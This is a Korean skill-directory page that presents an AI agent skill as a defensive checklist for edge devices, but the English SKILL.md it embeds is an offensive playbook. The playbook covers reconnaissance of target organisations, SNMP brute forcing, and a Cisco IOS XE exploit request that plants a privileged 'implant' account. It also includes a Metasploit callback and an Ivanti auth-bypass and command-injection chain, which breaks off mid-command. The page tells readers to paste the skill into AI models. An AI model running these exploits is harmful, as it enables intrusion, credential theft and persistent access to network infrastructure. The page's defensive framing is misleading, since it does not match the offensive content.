edge-device-exploitation
하는 일
이 안내서는 라우터, 방화벽, VPN 장치 같은 네트워크 경계 장비의 보안 점검을 다룹니다. 이런 장비를 관리하는 네트워크 및 보안 팀을 위한 가이드입니다.
사용하는 경우
- ✓허가된 검토에서 인터넷에 노출된 오래된 경계 장비를 찾아야 할 때.
- ✓방화벽이나 VPN에 패치가 필요한 알려진 취약점이 있는지 확인하고 싶을 때.
- ✓팀이 경계 장비를 강화하기 위한 체크리스트를 원하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/edge-device-exploitation/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“인터넷에 노출된 VPN과 방화벽 장비가 여러 대 있습니다. 오래되었거나 노출된 장비가 어떤 것인지 확인해 주시겠어요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 장비 유형과 버전을 확인하고, 알려진 취약점 정보와 비교한 뒤, 패치나 더 엄격한 접근이 필요한 장비를 보고합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Edge Device Exploitation
Exploits perimeter network appliances — routers, firewalls, VPN concentrators, and management platforms. These devices sit at trust boundaries, run stripped-down OS variants, and are rarely patched. A compromised edge device yields traffic interception, credential harvesting, lateral pivot into the internal network, and persistent access below endpoint detection.
Quick Reference
# Discover edge devices — Shodan
curl -s "https://api.shodan.io/shodan/host/search?key=<SHODAN_KEY>&query=org:<TARGET_ORG>+product:cisco" | jq '.matches[] | {ip:.ip_str, port:.port, product:.product}'
# Nmap service fingerprint on perimeter
nmap -sV -sC -p 443,8443,10443,4443,8080,161 --script=http-title,ssl-cert,snmp-info <TARGET_RANGE> -oA edge_scan
# SNMP community string brute
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <TARGET>
# SNMP walk full config tree
snmpwalk -v2c -c <COMMUNITY> <TARGET> .1.3.6.1 > snmpwalk_full.txt
# Check Cisco IOS XE web UI (CVE-2023-20198 indicator)
curl -sk "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" -o cisco_webui_probe.txt
# Check PAN-OS GlobalProtect (CVE-2024-3400 indicator)
curl -sk "https://<TARGET>/global-protect/portal/css/login.css" -w '%{http_code}' -o /dev/null
# Ivanti Connect Secure version check
curl -sk "https://<TARGET>/dana-na/auth/url_default/welcome.cgi" -o ivanti_version.txt
MITRE ATT&CK Mapping
| Technique | ID | Application |
|---|---|---|
| Exploit Public-Facing Application | T1190 | CVE exploitation against web UI / VPN portal |
| External Remote Services | T1133 | Abuse VPN/SSL-VPN/management interfaces post-compromise |
| Data from Configuration Repository | T1602 | Extract running-config, startup-config, SNMP MIBs |
| Network Sniffing | T1040 | Packet capture on compromised device |
| Modify System Image | T1601 | Implant in device firmware/OS image |
1. Identifying Edge Devices
External Reconnaissance
# Shodan bulk search by org
shodan search "org:<TARGET_ORG>" --fields ip_str,port,product,os --separator , > shodan_edge.csv
# Censys for Fortinet devices
curl -s "https://search.censys.io/api/v2/hosts/search" \
-H "Authorization: Basic <CENSYS_KEY>" \
-d '{"q":"services.software.product:FortiOS AND autonomous_system.name:<TARGET_ORG>","per_page":50}' | jq '.result.hits[]'
# Certificate transparency for management hostnames
curl -s "https://crt.sh/?q=%25.<TARGET_DOMAIN>&output=json" | jq -r '.[].name_value' | sort -u | grep -iE 'vpn|fw|gw|edge|palo|forti|pulse|asa'
Fingerprinting
# HTTP header fingerprinting
curl -skI "https://<TARGET>" | grep -iE 'server:|x-frame|set-cookie|location'
# SSL cert org/CN extraction
echo | openssl s_client -connect <TARGET>:443 2>/dev/null | openssl x509 -noout -subject -issuer
# Nmap NSE scripts for specific vendors
nmap -p 443 --script http-cisco-anyconnect,ssl-cert <TARGET>
2. CVE Exploitation Chains
CVE-2023-20198 — Cisco IOS XE Web UI Privilege Escalation (CVSS 10.0)
Unauthenticated attacker creates a privileged local account via the web UI.
# Step 1: Verify web UI is accessible
curl -sk "https://<TARGET>/webui" -w '%{http_code}\n' -o /dev/null
# Step 2: Create implant account (the exploit request)
curl -sk -X POST "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" \
-H "Authorization: 0ff4fbf0ecffa77ce8d3852a4571" \
-d '{"cisco-IOS-XE-native:username": {"name":"<IMPLANT_USER>","privilege":15,"password":{"type":"0","secret":"<IMPLANT_PASS>"}}}'
# Step 3: Access via SSH with implant account
sshpass -p '<IMPLANT_PASS>' ssh <IMPLANT_USER>@<TARGET> "show running-config"
# Step 4: Check for existing implant (IOC detection)
curl -sk "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" | grep -q "implant" && echo "IMPLANT DETECTED"
# Metasploit module
msfconsole -q -x "use exploit/linux/http/cisco_ios_xe_webui_privesc; set RHOSTS <TARGET>; set LHOST <CALLBACK>; run"
CVE-2024-21887 — Ivanti Connect Secure Command Injection (CVSS 9.1)
Chained with CVE-2023-46805 (auth bypass) for unauthenticated RCE.
# Step 1: Auth bypass (CVE-2023-46805) — path traversal
curl -sk "https://<TARGET>/api/v1/totp/user-backup-code/../../system/system-information" \
-H "Content-Type: application/json" -o ivanti_sysinfo.json
# Step 2: Command injection via REST API
curl -sk "https://<TARGET>/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-c
자주 묻는 질문
왜 경계 장비가 흔한 대상인가요?
안내서는 이 장비들이 네트워크 경계에 있고, 기능을 줄인 시스템으로 동작하며, 패치가 늦는 경우가 많다고 설명합니다.
어떤 공급업체가 언급되나요?
안내서는 Cisco, Fortinet, Ivanti, Palo Alto 장비를 예로 듭니다.
가장 중요한 방어책은 무엇인가요?
장비 소프트웨어를 최신 상태로 유지하고, 관리 접근을 제한하며, 장비 설정을 감시하는 것입니다.
상세 정보
작성자의 원본 설명
Edge device exploitation — routers, firewalls, VPN appliances (Cisco IOS XE, Fortinet, Ivanti, Palo Alto). Covers CVE exploitation chains, post-exploitation on network devices, config extraction, and implant deployment on perimeter infrastructure.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14033
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.